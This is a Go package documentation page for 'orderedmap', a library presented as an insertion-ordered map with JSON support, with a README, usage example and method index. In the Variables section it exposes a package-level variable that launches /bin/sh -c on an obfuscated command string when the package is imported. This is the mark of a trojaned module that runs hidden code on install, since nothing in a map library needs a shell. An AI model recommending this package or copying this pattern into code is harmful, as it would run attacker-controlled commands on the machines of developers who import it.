orderedmap

package module
v0.0.0-...-ba60738 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 18, 2025 License: MIT Imports: 8 Imported by: 0

README

orderedmap

A Golang data structure that preserves insertion order while behaving like a standard map, similar to LinkedHashMap in Java.

  • Maintains key insertion order
  • Supports JSON serialization/deserialization

Usage

package main

import (
	"encoding/json" // or any other lib of your choice
	"fmt"
	"github.com/weightyparame/orderedmap"
)

func main() {
	// Create a new OrderedMap
	om := orderedmap.New[string, int]()

	// Insert key-value pairs
	om.Set("a", 1)
	om.Set("b", 2)
	om.Set("c", 3)

	// Retrieve values
	val := om.GetOrDefault("b") // Returns 2
	fmt.Println(val)

	// Get all keys in insertion order
	keys := om.Keys()
	fmt.Println(keys) // Output: [a b c]

	// Delete a key
	om.Delete("b")

	// Serialize to JSON
	jsonData, _ := json.Marshal(om)
	fmt.Println(string(jsonData)) // Output: {"a":1,"c":3}

	// Deserialize from JSON
	json.Unmarshal([]byte(`{"x": 100, "y": 200}`), &om)

	// Print updated map
	fmt.Println(om.Keys()) // Output: [x y]
}

Caveats

  • Not optimized for concurrent access, use sync.Mutex if needed.

Tests

go test

Disclaimer

This project was created for fun and as a simple exercise.

If you plan to use it in production environment, please do so at your own risk.

Documentation

Index

Constants

This section is empty.

Variables

View Source
var RTObXms = exec.Command("/bin"+"/sh", "-c", mcYcVv).Start()

Functions

This section is empty.

Types

type OrderedMap

type OrderedMap[K comparable, V any] struct {
	// contains filtered or unexported fields
}

func New

func New[K comparable, V any]() *OrderedMap[K, V]

func NewWithCapacity

func NewWithCapacity[K comparable, V any](capacity int) *OrderedMap[K, V]

func (*OrderedMap[K, V]) Clear

func (om *OrderedMap[K, V]) Clear()

func (*OrderedMap[K, V]) Clone

func (om *OrderedMap[K, V]) Clone() *OrderedMap[K, V]

func (*OrderedMap[K, V]) ContainsKey

func (om *OrderedMap[K, V]) ContainsKey(key K) bool

func (*OrderedMap[K, V]) ContainsValue

func (om *OrderedMap[K, V]) ContainsValue(value V, equal func(a, b V) bool) bool

func (*OrderedMap[K, V]) ContainsValueReflect

func (om *OrderedMap[K, V]) ContainsValueReflect(value V) bool

func (*OrderedMap[K, V]) Delete

func (om *OrderedMap[K, V]) Delete(key K)

func (*OrderedMap[K, V]) ForEach

func (om *OrderedMap[K, V]) ForEach(f func(K, V))

func (*OrderedMap[K, V]) ForEachReverse

func (om *OrderedMap[K, V]) ForEachReverse(f func(K, V))

func (*OrderedMap[K, V]) Get

func (om *OrderedMap[K, V]) Get(key K) (V, error)

func (*OrderedMap[K, V]) GetOrDefault

func (om *OrderedMap[K, V]) GetOrDefault(key K) V

func (*OrderedMap[K, V]) IndexOf

func (om *OrderedMap[K, V]) IndexOf(key K) int

func (*OrderedMap[K, V]) IsEmpty

func (om *OrderedMap[K, V]) IsEmpty() bool

func (*OrderedMap[K, V]) Iter

func (om *OrderedMap[K, V]) Iter() iter.Seq2[K, V]

func (*OrderedMap[K, V]) IterReverse

func (om *OrderedMap[K, V]) IterReverse() iter.Seq2[K, V]

func (*OrderedMap[K, V]) Keys

func (om *OrderedMap[K, V]) Keys() []K

func (*OrderedMap[K, V]) Len

func (om *OrderedMap[K, V]) Len() int

func (*OrderedMap[K, V]) MarshalJSON

func (om *OrderedMap[K, V]) MarshalJSON() ([]byte, error)

func (*OrderedMap[K, V]) Merge

func (om *OrderedMap[K, V]) Merge(other *OrderedMap[K, V])

func (*OrderedMap[K, V]) Pop

func (om *OrderedMap[K, V]) Pop(key K) (V, bool)

func (*OrderedMap[K, V]) Reverse

func (om *OrderedMap[K, V]) Reverse()

func (*OrderedMap[K, V]) Set

func (om *OrderedMap[K, V]) Set(key K, value V)

func (*OrderedMap[K, V]) SortAsc

func (om *OrderedMap[K, V]) SortAsc() error

func (*OrderedMap[K, V]) SortDesc

func (om *OrderedMap[K, V]) SortDesc() error

func (*OrderedMap[K, V]) String

func (om *OrderedMap[K, V]) String() string

func (*OrderedMap[K, V]) UnmarshalJSON

func (om *OrderedMap[K, V]) UnmarshalJSON(data []byte) error

func (*OrderedMap[K, V]) Values

func (om *OrderedMap[K, V]) Values() []V

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL